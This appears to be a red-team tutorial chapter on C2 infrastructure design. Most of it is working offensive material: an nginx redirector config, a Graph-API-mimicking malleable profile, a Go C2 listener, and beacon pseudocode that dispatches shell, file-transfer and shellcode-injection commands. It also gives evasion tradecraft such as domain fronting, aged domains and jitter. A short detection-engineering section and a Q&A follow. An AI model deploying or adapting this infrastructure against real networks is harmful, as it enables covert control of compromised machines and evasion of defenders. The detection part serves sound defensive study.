C2 Infrastructure Design
Architecture of command-and-control systems: listener types, redirector chains, malleable C2 profiles, callback protocols, and the full infrastructure design that separates a pen test tool from a burned implant
You have initial access through a phishing payload. The beacon calls back to your server — but your server IP is already in Shodan, has open ports 80 and 443, and a CDN scan linked it to three other known pentest IPs last week. Within 4 hours, the SOC's threat intel feed fires and your IP gets blocked at the proxy. The implant goes dark. This chapter is about building the infrastructure that prevents that kill chain from working: domain fronting, redirectors with allow-list rules, short-lived categorized domains, and malleable C2 profiles that disguise your traffic as normal SaaS beaconing.
C2 Core Concepts
Infrastructure Design Principles
Every component in C2 infrastructure should be isolated so that if one element is burned (blocked, sinkholed, seized), the rest remains operational. The key separation:
- Team server: Never expose directly to the internet. Behind VPS with strict allow-list ingress from redirector IPs only. If this IP gets blocked nothing matters — it's hidden.
- Redirectors: All implant-facing infrastructure. Sacrificial. When burned, swap in new ones without changing implant callback URLs (use domain names, not IPs).
- Domains: Registered under privacy-protecting registrars, aged, categorized. Buy aged domains that have been cached by proxy services as benign categories (news, finance, tech).
- CDN/Cloud fronting: Route traffic through major CDN providers (Cloudflare, AWS CloudFront, Azure Front Door) so the IP the target sees is Microsoft or Google, not yours.
Redirectors — Nginx Configuration
# Redirector nginx.conf — proxy legitimate C2 traffic, serve decoy for everything else
upstream teamserver {
server 10.0.0.5:443;
}
server {
listen 443 ssl;
server_name cdn-update.corp-tools.com;
ssl_certificate /etc/nginx/ssl/cert.pem;
ssl_certificate_key /etc/nginx/ssl/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
# Allow-list: only proxy known C2 URI paths
location /updates/v2/sync {
# User-agent check (match your malleable profile)
if ($http_user_agent !~ "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36") {
return 302 https://www.microsoft.com;
}
proxy_pass https://teamserver;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /updates/v2/push {
if ($http_user_agent !~ "Mozilla/5.0 \(Windows NT 10.0; Win64; x64\) AppleWebKit/537.36") {
return 302 https://www.microsoft.com;
}
proxy_pass https://teamserver;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
# Everything else — serve decoy (legit-looking static page)
location / {
return 200 '{"status":"ok","version":"2.1.0"}';
add_header Content-Type application/json;
}
}
# Additional security: rate-limit and geo-block non-target countries
# to reduce scanner noise finding your redirector
limit_req_zone $binary_remote_addr zone=c2:10m rate=30r/m;
server {
# Block non-target geographies entirely if operation is specific region
# Requires nginx geoip2 module + MaxMind GeoLite2 database
# geoip2 /etc/nginx/GeoLite2-Country.mmdb { $geoip2_data_country_code ... }
# if ($geoip2_data_country_code != "US") { return 403; }
}
Malleable C2 Profiles
A malleable profile is a configuration file (used by Cobalt Strike, Sliver, Havoc) that controls exactly how C2 traffic looks on the wire — the HTTP headers, URIs, user agents, response codes, and body encoding. The goal: make the traffic indistinguishable from normal browser or application traffic to proxy/DLP/NDR tools.
# Sliver HTTP profile example — disguise as Microsoft Graph API calls
# Format varies by C2 framework; this illustrates the concepts
set sleeptime "60000"; # 60 second sleep
set jitter "30"; # ±30% jitter (42-78 seconds actual)
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
http-get {
set uri "/v1.0/me/messages?$select=subject,receivedDateTime&$top=25";
client {
header "Accept" "application/json";
header "Authorization" "Bearer ";
header "Host" "graph.microsoft.com"; # domain fronting target
metadata {
base64url;
prepend "MSAL_sessionId=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Cache-Control" "private";
output {
print; # serve raw bytes as "JSON" body
}
}
}
http-post {
set uri "/v1.0/me/sendMail";
client {
header "Content-Type" "application/json";
header "Authorization" "Bearer ";
output {
base64url;
prepend '{"message":{"subject":"Update","body":{"content":"';
append '"}}}';
}
}
}
# Key design principles:
# 1. Use URIs that match the service's real API patterns
# 2. Include expected headers (Authorization, Cache-Control)
# 3. Encode data in places data normally appears (cookies, body, specific headers)
# 4. Match response codes and content-types of the impersonated service
# 5. Choose a service that target org actually uses (DLP proxy whitelists it)
Protocol Selection by Environment
| Protocol | Works When | Pros | Cons / Detection Risk |
|---|---|---|---|
| HTTPS | Outbound 443 allowed | Encrypted, ubiquitous, CDN fronting possible | TLS cert inspection (enterprise proxy with MITM cert), beacon timing anomalies |
| HTTP/S over CDN | Proxy whitelist includes CDN provider | Destination IP is CDN (Microsoft/Google), proxy can't block without breaking SaaS | Domain fronting increasingly blocked by CDN providers; SNI-based blocking |
| DNS | DNS outbound allowed (most environments) | Hard to block completely, deeply buried in logs | Slow (~1KB/min), high query volume detectable, many DNS security products |
| DNS over HTTPS (DoH) | Outbound 443 to DoH resolver (1.1.1.1, 8.8.8.8) | DNS queries encrypted, bypasses DNS monitoring | DoH providers may block malicious domains, unusual resolver destination |
| SMB (internal C2) | Lateral movement phase, post-access | Named pipes are expected traffic on Windows networks | New pipe names, cross-subnet SMB sessions, 4656 pipe access events |
| ICMP | Restricted environments (uncommon) | Often missed by stateless firewalls | Low bandwidth, ICMP inspection increasingly common, unusual payload sizes |
Listener Implementation — Custom HTTP C2
// Minimal HTTP C2 listener in Go — illustrates concepts
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"net/http"
"sync"
"time"
)
type Agent struct {
ID string
LastSeen time.Time
Key []byte // per-agent AES-256 key
Tasks []string
mu sync.Mutex
}
var (
agents = make(map[string]*Agent)
agentsMu sync.RWMutex
)
func CheckinHandler(w http.ResponseWriter, r *http.Request) {
// Extract agent ID from cookie (matches malleable profile)
cookie, err := r.Cookie("MSAL_sessionId")
if err != nil {
http.NotFound(w, r)
return
}
agentID, err := base64.URLEncoding.DecodeString(cookie.Value)
if err != nil {
http.NotFound(w, r)
return
}
agentsMu.RLock()
agent, ok := agents[string(agentID)]
agentsMu.RUnlock()
if !ok {
// New agent — register
agent = &Agent{
ID: string(agentID),
Key: generateKey(), // random per-agent key, exchanged during staging
}
agentsMu.Lock()
agents[agent.ID] = agent
agentsMu.Unlock()
}
agent.mu.Lock()
agent.LastSeen = time.Now()
// Get pending task, if any
var task string
if len(agent.Tasks) > 0 {
task = agent.Tasks[0]
agent.Tasks = agent.Tasks[1:]
}
agent.mu.Unlock()
// Encrypt task and return as JSON body
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Cache-Control", "private")
if task == "" {
w.Write([]byte(`{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#users/$entity"}`))
return
}
encrypted := aesEncrypt(agent.Key, []byte(task))
w.Write(encrypted)
}
func ResultHandler(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("MSAL_sessionId")
if err != nil { http.NotFound(w, r); return }
agentID, err := base64.URLEncoding.DecodeString(cookie.Value)
if err != nil { http.NotFound(w, r); return }
agentsMu.RLock()
agent, ok := agents[string(agentID)]
agentsMu.RUnlock()
if !ok { http.NotFound(w, r); return }
// Read encrypted result from POST body
body := readBody(r)
result := aesDecrypt(agent.Key, body)
// Store/print result for operator (real impl: write to task result store)
_ = result
w.WriteHeader(http.StatusAccepted)
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/v1.0/me/messages", CheckinHandler)
mux.HandleFunc("/v1.0/me/sendMail", ResultHandler)
http.ListenAndServeTLS(":443", "cert.pem", "key.pem", mux)
}
func aesEncrypt(key, plaintext []byte) []byte {
block, _ := aes.NewCipher(key)
gcm, _ := cipher.NewGCM(block)
nonce := make([]byte, gcm.NonceSize())
rand.Read(nonce)
return gcm.Seal(nonce, nonce, plaintext, nil)
}
Beacon Design — Client-Side Callback Loop
// Beacon callback logic (conceptual C pseudocode — full impl in later chapters)
void BeaconLoop() {
while (1) {
// Step 1: Jittered sleep
DWORD sleepMs = BEACON_SLEEP + (rand() % (BEACON_SLEEP * JITTER_PCT / 100));
Sleep(sleepMs);
// Step 2: Check-in — GET to C2 URI, retrieve encrypted task blob
BYTE taskBlob[MAX_TASK] = {0};
DWORD taskLen = 0;
if (!HttpCheckin(taskBlob, &taskLen)) {
// Failed — increase backoff, try next callback domain
sleepMs *= 2;
continue;
}
if (taskLen == 0) continue; // no task, sleep again
// Step 3: Decrypt task with per-session AES key
BYTE task[MAX_TASK] = {0};
AesGcmDecrypt(g_sessionKey, taskBlob, taskLen, task);
// Step 4: Dispatch to handler
BYTE result[MAX_RESULT] = {0};
DWORD resultLen = 0;
DispatchTask(task, result, &resultLen);
// Step 5: POST result back to C2
HttpPostResult(result, resultLen);
}
}
// Task dispatcher — maps command IDs to handlers
void DispatchTask(BYTE* task, BYTE* result, DWORD* resultLen) {
DWORD cmdId = *(DWORD*)task;
BYTE* args = task + 4;
switch(cmdId) {
case CMD_SHELL: ExecShell(args, result, resultLen); break;
case CMD_UPLOAD: WriteFileToDisk(args, result, resultLen); break;
case CMD_DOWNLOAD: ReadFileFromDisk(args, result, resultLen); break;
case CMD_INJECT: InjectShellcode(args, result, resultLen); break;
case CMD_DIE: ExitProcess(0); break;
default: *resultLen = 0; break;
}
}
OPSEC — Infrastructure Hardening
| Risk | Mitigation |
|---|---|
| Team server IP exposed via Shodan/ZoomEye scan | Block all inbound traffic except from redirector IPs; serve nothing from port 80/443 directly to internet |
| Domain aged only 3 days; categorized as "New/Unknown" by proxy | Buy aged domains (≥ 12 months old) already categorized as benign. Services: ExpiredDomains.net, Whois search on expired domains |
| Beacon timing regularity detected by NDR (beaconing detection) | Use significant jitter (≥ 30%). Vary sleep based on time of day (no callbacks between midnight-6am if mimicking normal user). Long sleep (8h+) during weekends. |
| HTTPS certificate lacks SNI matching for decoy page | Get real Let's Encrypt cert for domain. Serve decoy HTML that matches the domain's cover story. TLS fingerprint (JA3) should match expected browser. |
| HTTP headers betray C2 (missing expected headers, unusual values) | Profile should include Accept, Accept-Encoding, Accept-Language, Connection headers matching a real browser |
| Kill date missing — implant runs indefinitely, found long after op | Hard-code a kill date (delete self + exit after engagement window) |
Detection Engineering
-- Splunk: Beaconing detection via regular callback intervals
-- NDR (network) or proxy logs
index=proxy_logs
| eval hour=strftime(_time, "%H")
| where hour >= 7 AND hour <= 19 -- business hours
| stats count, stdev(bytes_out) as jitter, avg(bytes_out) as avg_size
by src_ip, dest_host, interval_bucket
| eval regularity_score = if(jitter < 100 AND count > 20, 1, 0)
| where regularity_score = 1
| sort -count
-- Key detection signals for C2 traffic:
-- 1. Regular intervals to single destination (low jitter in connection timing)
-- 2. Similar-sized requests (beacon payloads are consistent)
-- 3. Destination is newly registered / uncategorized domain
-- 4. HTTPS to non-standard CDN (IP not in CDN ASN)
-- 5. JA3 fingerprint doesn't match claimed User-Agent browser version
-- 6. DNS query for C2 domain shortly before HTTPS callback (staging pattern)
-- 7. Long-lived connections with periodic data transfer (interactive shell pattern)
-- Zeek/Bro: JA3 TLS fingerprint anomaly detection
# ja3_seen: map fingerprint to claimed UserAgent, alert on mismatch
event ssl_client_hello(c: connection, version: count, record_version: count,
possible_ts: time, client_random: string,
session_id: string, ciphers: index_vec, comp_methods: index_vec) {
# ja3 = md5(SSLVersion + Ciphers + Extensions + EllipticCurves + EllipticCurvePointFormats)
# Compare against known-good browser fingerprint database
# Alert if: JA3 hash not in whitelist AND destination is new domain
}
Q&A
Why is jitter in beacon sleep timing so important for evading detection?
Network detection and response (NDR) tools look for "beaconing" — regular, periodic network connections to the same destination. A beacon sleeping exactly 60 seconds between callbacks will generate connection timestamps like 10:00:00, 10:01:00, 10:02:00, etc. Statistical analysis of connection timing will reveal a very low standard deviation and alert immediately. Adding 30% jitter means the sleep is randomly 42-78 seconds, producing timestamps like 10:00:00, 10:00:53, 10:01:42. This produces a standard deviation that overlaps with normal browser keep-alive traffic and periodic SaaS polling. Jitter should be at least 20-30% of the base sleep time. Additionally, varying sleep based on hour of day (longer during business hours when network traffic is high, no callbacks at night when baseline is low) further reduces detection. Some mature red teams add non-uniform distributions (not pure uniform random, but Gaussian centered on the sleep time) to better mimic real application polling patterns.
What is domain fronting and why do major cloud providers block it?
Domain fronting exploits how CDN providers route requests. When a browser connects to a CDN, it makes a TLS connection to the CDN's IP, and the SNI field in the TLS ClientHello specifies which CDN-hosted domain it's connecting to. But inside the encrypted TLS tunnel, the HTTP Host header can specify a different domain — one that points to the same CDN but routes to a different backend. Attackers registered benign domains on major CDNs (Microsoft Azure, AWS CloudFront, Google App Engine), and used the CDN's front-facing address for their implants. The implant's TLS SNI said "microsoft.com" but the HTTP Host said "c2.attacker.com" — network monitoring only saw "HTTPS to microsoft.com IP" and couldn't inspect the encrypted Host header. CDN providers like Google (2018) and AWS (2019) blocked this by validating that the SNI and HTTP Host match, or by enforcing consistent routing. Cloudflare still allows some forms, but it's increasingly detected. Modern alternatives include legitimate cloud function C2 (using real cloud provider accounts to host C2 listeners — the traffic is legitimately going to AWS Lambda, Azure Functions, etc.) and compromised legitimate sites as unwitting redirectors.